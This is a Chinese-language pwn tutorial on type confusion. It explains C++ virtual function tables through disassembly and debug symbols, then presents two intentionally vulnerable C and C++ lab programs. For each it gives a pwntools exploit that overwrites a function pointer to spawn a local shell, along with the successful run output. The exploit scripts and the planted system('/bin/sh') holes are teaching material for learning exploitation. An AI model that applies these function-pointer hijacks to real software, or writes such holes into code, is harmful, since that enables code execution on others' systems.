【Pwn-PWN入门-16-观音救混淆-类型混淆】此文章归类为:Pwn。
在高级程序语言中,一个变量通常由三部分组成,它们分别是数据类型、类型名、数值,其中类型名是程序语言区分变量的标志(同一作用范围内不可重复,比如C语言中函数内局部变量名不能重复),数值就是变量存储的数据,变量所属的数据类型决定了数值如何被解释。
变量所属的数据类型并不是一成不变的,在不少程序语言当中,是允许对变量的数据类型进行强制转换的。
变量的数据类型发生混淆时威胁可大可小,其中最为严重的就是函数变量的混淆。
在C语言中函数会被分配一个地址,因此函数也可以被看作是一个指针类型的变量。
1 2 3 4 | 数据类型 ( * 函数名)(形参列表) 示例: typedef void ( * test_func)(void); |
结构体是C语言中一个更广为人知的概念,在此不会过多进行介绍。作为多变量的集合,Linux内核当中的结构体中常常会定义函数变量。
函数在我们的眼中,一般都是只能完成特定行为的,而函数变量可以绑定到任意的函数上,从这个角度上看,函数变量有着极大的自由度,Linux内核可以通过函数变量表现处不同的行为。
函数变量可以看作是实现多态的一种途径,这个多态是个什么东西呢?
多态这一概念源自于面向对象,用于借助同一种接口表现不同的行为,类似于插电孔,一个接口供应各种电器,不同电器可以被用于实现不同的目的。
虚函数就是C++实现多态的关键,它可以分成虚函数和纯虚函数。虚函数要求基类完成实现,子类可以重写虚函数,纯虚函数允许基类不进行实现,但要求子类必须实现,而且拥有纯虚函数的基类不能再创建实例对象,也就是作为抽象类存在。
相比于C语言中的多态实现,C++中用于实现多态的虚函数会更加复杂一些,下面会用一个示例进行解析。
下方是示例程序的源代码,从源代码中我们可以看到,程序创建了名为my_test
的基类,并定义了虚函数vtest1
、纯虚函数vtest2
以及函数test
,子类testA
中重写了虚函数vtest1
,并且对纯虚函数进行了实现,主函数main
会对它们进行调用。
除此之外,类还包含着构造函数和析构函数~
,这两个函数都有一个特点,就是函数名前不带数据类型名,构造函数会类创建时调用,析构函数会在类销毁时调用,在基类my_test
中,我们可以看到析构函数~my_test
前带了virtual
标识符,这是为了让子类销毁时可以正常运行析构函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | #include <iostream> using namespace std; class my_test { public: my_test() { cout << "enter my_test" << endl; } virtual ~my_test() { cout << "enter leave my_test" << endl; } virtual void vtest1() { cout << "is " << __func__ << endl; } virtual void vtest2() = 0 ; void test_func(); }; void my_test::test_func(void) { cout << "enter " << __func__ << endl; } class testA: public my_test { public: testA() { cout << "enter testA" << endl; } ~testA() { cout << "enter leave testA" << endl; } void vtest1 () override { cout << "is [testA] " << __func__ << endl; } void vtest2(void) { cout << "is [testA] " << __func__ <<endl; } }; int main(void) { my_test * tmp; tmp = (my_test * )new testA(); tmp - >vtest1(); tmp - >vtest2(); tmp - >test_func(); delete tmp; } |
程序的运行结果如下。
1 2 3 4 5 6 7 | enter my_test enter testA is [testA] vtest1 is [testA] vtest2 enter test_func leave testA leave my_test |
从反汇编结果中,我们可以看到很多奇奇怪怪的名字,它们的名字怎么变成这样了呢?让我们先从最先被调用的plt
节看起!
plt
节的内容在下方并没有详细列出,因为它的解析流程与C语言是一致的,这里我们重点关注libstdc++.so
是如何知道这种奇葩名字的。
1 2 3 4 5 6 7 | plt节: <_Znwm@plt> <_ZdlPvm@plt> 主函数main: call 401050 <_Znwm@plt> call 401060 <_ZdlPvm@plt> |
通过查看libstdc++.so
中的符号信息可以知道,这些奇葩名字就是这个动态链接库定义的,通过比对运行期地址-运行期基地址得到的偏移值,可以确认这一现象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | ELF文件中的偏移值: readelf - s / lib / x86_64 - linux - gnu / libstdc + + .so. 6 | grep nwm 4817 : 00000000000a9570 53 FUNC GLOBAL DEFAULT 13 _Znwm@@GLIBCXX_3. 4 readelf - s / lib / x86_64 - linux - gnu / libstdc + + .so. 6 | grep _ZdlPvm 1473 : 00000000000a78e0 9 FUNC GLOBAL DEFAULT 13 _ZdlPvm@@CXXABI_1. 3.9 运行期地址: (gdb) info symbol 0x00007ffff7ca9570 operator new(unsigned long ) in section .text of / lib / x86_64 - linux - gnu / libstdc + + .so. 6 (gdb) info symbol 0x00007ffff7ca78e0 operator delete(void * , unsigned long ) in section .text of / lib / x86_64 - linux - gnu / libstdc + + .so. 6 动态链接库基地址: 0x7ffff7c00000 0x7ffff7c99000 0x99000 0x0 r - - p / usr / lib / x86_64 - linux - gnu / libstdc + + .so. 6.0 . 30 |
首先我们可以看到,调用<_Znwm@plt>
处理new
之前,会先将0x8
压入rdi
寄存器中作为第一个参数,这个0x8
是什么东西呢?
1 2 3 4 5 | mov $ 0x8 , % edi call 401050 <_Znwm@plt> mov % rax, % rbx mov % rbx, % rdi call 4013ea <_ZN5testAC1Ev> |
通过追踪程序可以看到,0x8
会在new
函数实际运行时使用,通过GDB的符号解析支持或者解析符号信息都可以确认这一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 | GDB显示: operator new(unsigned long ) DWARF显示: < 1 >< 24b3 >: Abbrev Number: 13 (DW_TAG_subprogram) < 24b4 > DW_AT_name : (indirect string, offset: 0xa4a ): operator new < 24bb > DW_AT_linkage_name: (indirect string, offset: 0x5f4 ): _Znwm < 2 >< 24c7 >: Abbrev Number: 1 (DW_TAG_formal_parameter) < 24c8 > DW_AT_type : < 0x537 > < 2 >< 24cc >: Abbrev Number: 0 ELF显示: 6 : 0000000000000000 0 FUNC GLOBAL DEFAULT UND _Znwm@GLIBCXX_3. 4 ( 2 ) |
new
这里接收0x8作为参数是为了分配占用8字节的指针。
这里针对调试符号进行一下特别的说明,首先我们知道二进制文件是十分晦涩且难懂的,为了提高二进制文件的可读性,所以计算机提供调试符号将二进制信息转化为人类可读的语义信息(调试符号既可以像ELF文件一样打包进自身,也可以学习PE文件的做法,单独形成名为.pdb
的文件)。
在Linux当中存在ELF符号和DWARF符号两种,首先我们先看下DWARF符号。
在ELF文件中.debug_xxx
节都是DWARF信息,在生成汇编文件.s
时就可以看到它们的身影(通过GCC的-save-temps
选项可以保留临时文件进行查看),Linux下查看二进制格式文件的DWARF信息,可以通过readelf --debug-dump
将全部的DWARF信息转储出来。
ELF中有许多的.debug_xxx
节,.debug_info
节是需要我们重点关注的。
.debug_info
节是DWARF的核心信息,它以树状图的形式存储DWARF信息,根节点是编译单元Compile Unit
,每个.o
文件都对应一个编译单元,编译单元下面的节点记录着所有需要使用的符号信息。
<1>
可以看作是顶级符号,通过<xx>
表明的符号级别可以将下属符号全部遍历出来。下面给出了一个示例,<1>
中表明了DW_TAG_subprogram
,这代表符号是函数,在属性名DW_AT_name
中可以知道函数名是shell_get
,函数节点包含一个名为DW_TAG_formal_parameter
的子节点,它代表函数接收的形参,从DW_AT_name
属性中可以看到形参名是msg
,DW_AT_type
属性标明了变量的数据类型,通过索引值0x74
会先发现该变量是占8字节的指针,再根据0x6f
可以知道变量被const
关键字修饰,最后通过0x68
找到数据类型DW_TAG_base_type
。此时我们可以推导出完整的数据类型signed char*
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | < 0 ><c>: Abbrev Number: 55 (DW_TAG_compile_unit) ...... ...... < 1 >< 1fa >: Abbrev Number: 23 (DW_TAG_subprogram) < 1fb > DW_AT_name : (indirect string, offset: 0 ): shell_get ...... < 2 >< 214 >: Abbrev Number: 6 (DW_TAG_formal_parameter) < 215 > DW_AT_name : msg < 219 > DW_AT_decl_file : 1 < 219 > DW_AT_decl_line : 27 < 21a > DW_AT_decl_column : 35 < 21b > DW_AT_type : < 0x74 > < 21f > DW_AT_location : 2 byte block: 91 68 (DW_OP_fbreg: - 24 ) < 2 >< 222 >: Abbrev Number: 0 ...... < 1 >< 68 >: Abbrev Number: 1 (DW_TAG_base_type) < 69 > DW_AT_byte_size : 1 < 6a > DW_AT_encoding : 6 (signed char) < 6b > DW_AT_name : (indirect string, offset: 0x5d ): char < 1 >< 6f >: Abbrev Number: 14 (DW_TAG_const_type) < 70 > DW_AT_type : < 0x68 > < 1 >< 74 >: Abbrev Number: 2 (DW_TAG_pointer_type) < 75 > DW_AT_byte_size : 8 < 75 > DW_AT_type : < 0x6f > ...... |
ELF符号指的就是.symtab
节中的内容,ELF符号信息并不如DWARF符合全面。
如果没有GDB这样的调试器,或者ELF文件内也没有DWARF信息,还想要分析函数的形参、局部变量等信息,就只能从函数的反汇编结果抓起了!
调用<_Znwm@plt>
完成new
操作之后,我们会发现new
会给tmp
分配一个可用的地址,然后就会拿这个地址作为形参,然后调用<_ZN5testAC1Ev>
函数。
1 2 3 4 | mov % rax, % rbx movq $ 0x0 ,( % rbx) mov % rbx, % rdi call 4013b6 <_ZN5testAC1Ev> |
阅读_ZN5testAC1Ev
函数的反汇编代码可以知道,_ZN5testAC1Ev
函数是testA
类的构造函数,它会先调用基类的my_test
构造函数,在执行自身构造函数中的逻辑。
从这里我们可以看出来,构造函数的调用是编译过程中安排好的。
1 2 3 4 5 6 7 8 9 10 | _ZN5testAC1Ev - > mov % rdi, - 0x18 ( % rbp) - > _ZN7my_testC1Ev - > mov % rdi, - 0x8 ( % rbp) - > lea 0x2a9f ( % rip), % rdx # 0x403d90 - > mov - 0x8 ( % rbp), % rax - > mov % rdx,( % rax) - > lea 0x2956 ( % rip), % rdx # 0x403d60 - > mov - 0x18 ( % rbp), % rax - > mov % rdx,( % rax) |
上方给出了一些汇编代码,之所以将它们特别列出,是因为这些汇编代码做的事情并不是构造函数中指定的行为。
_ZN5testAC1Ev
最先接受tmp
的指针作为形参,然后将它放入rbp-0x18
处,这是为了保存数据,避免_ZN7my_testC1Ev
运行过程中破坏rdi
。处理完形参后,我们可以发现my_test
和testA
的构造函数中存在着三条极其相似的汇编指令lea ; mov ; mov
,它们做的事情也是相似的。第一步通过lea
指令某数据在ELF文件内存镜像中的地址交给rdx
,第二步通过rax
防止tmp
地址的数值,第三步将步骤一中的内存镜像地址存放到tmp
上。
1 2 | [ 22 ] .data.rel.ro PROGBITS 0000000000403d50 00002d50 0000000000000088 0000000000000000 WA 0 0 8 |
根据地址查看ELF文件可以知道数据对应的是.data.rel.ro
节,该节中的这段数据是做什么用的呢?
调用testA
的构造函数前,程序会将tmp
的指针先交给rbx
再给rdi
,从这里看来,单独复制一份地址给rbx
好像是个很多余的操作啊!
1 2 3 | mov % rax, % rbx mov % rbx, % rdi call 4013ea <_ZN5testAC1Ev> |
编译器是非常聪明的,当我们继续往下看时,就会发现程序会将tmp
的地址放到rbp-0x18
的位置上,之后就会通过mov (%rax),%rax
将前面构造函数放置的地址A存到rax
中,然后偏移0x10 / 0x18得到地址B,再将地址B上保存的地址放入rdx
中,最后调用rdx
。rbp-0x18
起到索引数据和作为形参传递的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | mov % rbx, - 0x18 ( % rbp) vtest1: mov - 0x18 ( % rbp), % rax mov ( % rax), % rax add $ 0x10 , % rax mov ( % rax), % rdx mov - 0x18 ( % rbp), % rax mov % rax, % rdi call * % rdx vtest2: mov - 0x18 ( % rbp), % rax mov ( % rax), % rax add $ 0x18 , % rax mov ( % rax), % rdx mov - 0x18 ( % rbp), % rax mov % rax, % rdi call * % rdx |
函数1的地址等价于0x403d60 + 0x10
,对应.data.rel.ro
节上的0x4014de
,函数2的地址等价于0x403d60 + 0x18
,对应.data.rel.ro
节上的0x40152e
。
1 2 3 4 5 6 7 8 9 10 | Contents of section .data.rel.ro: 403d50 00000000 00000000 b03d4000 00000000 ......... = @..... 403d60 5e144000 00000000 b2144000 00000000 ^.@.......@..... 403d70 de144000 00000000 2e154000 00000000 ..@.......@..... 403d80 00000000 00000000 c83d4000 00000000 ......... = @..... 403d90 00000000 00000000 00000000 00000000 ................ 403da0 9a134000 00000000 00000000 00000000 ..@............. 403db0 00000000 00000000 67204000 00000000 ........g @..... 403dc0 c83d4000 00000000 00000000 00000000 . = @............. 403dd0 70204000 00000000 p @..... |
在反汇编代码中,可以发现这两个地址分别对应vtest1
和vtest2
的函数实现。
1 2 | 00000000004014de <_ZN5testA6vtest1Ev> 000000000040152e <_ZN5testA6vtest2Ev> |
到了这里我们就明白了,在根据类创建对象时会调用构造函数,而且子类的构造函数会调用基类的构造函数,构造函数分成类数据地址复制和执行指定行为两步。
编译阶段会根据类定义生成数据放入.data.rel.ro
节内,运行阶段程序会将类数据的基地址存到分配的内存上,程序使用虚函数时会根据编译器指定的地址从ELF文件的内存镜像内获取虚函数的地址。
从上面可以看出,虚函数的地址是连续存放的,因此我们也可以将这段数据称作是虚函数表。
在程序执行delete
操作之前,还会进行一次call %rdx
的操作。这里首先判断的是对象指针是否为空,如果为空就不进行call %rdx
的操作。反之则从类数据偏移0x8处取出地址进行调用。
1 2 3 4 5 6 7 8 | mov - 0x18 ( % rbp), % rax test % rax, % rax je 40124b <main + 0x76 > mov ( % rax), % rdx add $ 0x8 , % rdx mov ( % rdx), % rdx mov % rax, % rdi call * % rdx |
在.data.rel.ro
节中可以知道,偏移0x8处的地址是0x4014b2
。
1 | 403d60 5e144000 00000000 b2144000 00000000 |
地址0x4014b2
对应函数_ZN5testAD0Ev
,并且该函数内部还会调用函数_ZN5testAD1Ev
,通过分析这两个函数可以发现,它们就是析构函数。
1 2 | 4014b2 <_ZN5testAD0Ev> - > call 40145e <_ZN5testAD1Ev> |
C语言和C++实现虚函数的区别在,C语言自己定义一张虚函数表,C++则是编译器自动生成。但通过何种方式实现,函数变量的自由度都是比较大的,一旦将函数变量错误解析就会导致很严重的问题。
下面会以C语言和C++两种语言作为示例,展示虚函数导致的类型混淆。
下面给出了C语言程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MAX_DATA_LEN 0x100 static void msg_print(const char * msg); typedef struct _your_msg { char msg_info[MAX_DATA_LEN]; void ( * msg_info_print)(const char * ); } your_msg; typedef struct _my_msg { void ( * msg_info_print)(const char * ); char msg_info[MAX_DATA_LEN]; } my_msg; your_msg um = { .msg_info = "is your\n\0" , .msg_info_print = msg_print, }; static void shell_get(const char * msg) { system(msg); } static void msg_print(const char * msg) { printf( "%s" , msg); } static void vuln(void * ptr) { my_msg * mm = (my_msg * )ptr; mm - >msg_info_print(mm - >msg_info); } int main(void) { void * tmp; tmp = &um; um.msg_info_print = msg_print; um.msg_info_print(um.msg_info); printf( "please input something\n" ); read(STDIN_FILENO, um.msg_info, MAX_DATA_LEN); vuln(tmp); } |
从源代码中我们可以看到,main
函数一开始使用的是your_msg
结构体描述的um
,而且um
的缓冲区变量msg_info
会从标准输入中读取内容,但传入vuln
函数后,就会改为使用my_msg
结构体进行描述,虽然your_msg
和my_msg
的成员是一样的,但是它们的摆放位置却是不同的,导致my_msg
的func
成员对应your_msg
的msg_info - msg_info + 0x8
,此时我们就可以控制my_msg
中func
的执行逻辑。
1 2 3 4 5 6 7 | - - - - - - - - - - - - - - - - - - - - - - | your_msg | | my_msg | - - - - - - - - - - - - - - - - - - - - - - | char * | | func | - - - - - - - - - - - - - - - - - - - - - - | func | | char * | - - - - - - - - - - - - - - - - - - - - - - |
经过上面的分析构造出下面的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | import pwn import time import sys pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' , ) def hack_by_c_axample(): payload = pwn.p64(target_info[ 'elf_info' ].sym[ 'shell_get' ]) payload + = b '/bin/sh\0' return payload target_info = { 'exec_path' : './type_confusion_example4c' , 'elf_info' : None , 'buf_len' : 0x100 , 'addr_len' : 0x8 , 'shell_get_func_addr' : 0x0 , } target_info[ 'elf_info' ] = pwn.ELF(target_info[ 'exec_path' ]) conn = pwn.process(target_info[ 'exec_path' ]) payload = hack_by_c_axample() conn.sendafter(b 'please input something\n' , payload) conn.interactive() |
运行exploit后成功获取Shell。
1 2 3 4 5 6 7 8 9 10 11 | [ * ] '/home/astaroth/Labs/PWN/UserMode/TypeConfusion/type_confusion_example4c' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x400000 ) [ + ] Starting local process './type_confusion_example4c' : pid 42818 [ * ] Switching to interactive mode $ id uid = 1000 (astaroth) gid = 1000 (astaroth) groups = 1000 (astaroth) $ exit |
下面是C++程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | #include <iostream> #include <cstring> using namespace std; #define MAX_DATA_LEN 0x100 static void vuln(void); class offline { public: virtual void offline_end() = 0 ; }; class offline_a: public offline { public: offline_a() { strncpy(desc, "hello c++\0" , MAX_DATA_LEN); } virtual void offline_end() { cout << desc << endl; } char desc[MAX_DATA_LEN]; }; class offline_b: public offline { public: virtual void offline_end() { desc(); } void ( * desc)(void); }; static void vuln(void) { system( "/bin/sh" ); } int main(void) { string buf; offline * tmpB; offline_a * apt; tmpB = new offline_b(); apt = static_cast<offline_a * >(tmpB); cout << "please input something" << endl; cin >> buf; strncpy(apt - >desc, buf.c_str(), MAX_DATA_LEN); apt - >offline_end(); } |
从上面可以看到,offline_a
和offline_b
对于虚函数offline_end
的实现是不一样的,关键在于一个将desc
看作是缓冲区变量,另一个将desc
看作是函数变量,main
函数中会先创建offline_b
再将其强转为offline_a
,此时会将desc
看作是缓冲区变量,当offline_end
被触发时,desc
就变成了函数变量。因为程序允许我们在desc
作为缓冲区变量时向其中写入数据,此时offline_end
的执行流程就变成了我们可以控制的。
经过上面的分析构造出下面的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | import pwn import time import sys pwn.context.clear() pwn.context.update( arch = 'amd64' , os = 'linux' , ) def hack_by_cxx_axample(): payload = pwn.p64(target_info[ 'elf_info' ].sym[ '_ZL4vulnv' ]) return payload target_info = { 'exec_path' : './type_confusion_example4cpp' , 'elf_info' : None , 'buf_len' : 0x100 , 'addr_len' : 0x8 , 'shell_get_func_addr' : 0x0 , } target_info[ 'elf_info' ] = pwn.ELF(target_info[ 'exec_path' ]) conn = pwn.process(target_info[ 'exec_path' ]) payload = hack_by_cxx_axample() conn.sendafter(b 'please input something\n' , payload) conn.interactive() |
运行exploit后成功获取Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | [ * ] '/home/astaroth/Labs/PWN/UserMode/TypeConfusion/type_confusion_example4cpp' Arch: amd64 - 64 - little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE ( 0x400000 ) [ + ] Starting local process './type_confusion_example4cpp' : pid 42828 [ * ] Switching to interactive mode $ ls $ id uid = 1000 (astaroth) gid = 1000 (astaroth) groups = 1000 (astaroth) $ exit [ * ] Got EOF while reading in interactive $ |
更多【Pwn-PWN入门-16-观音救混淆-类型混淆】相关视频教程:www.yxfzedu.com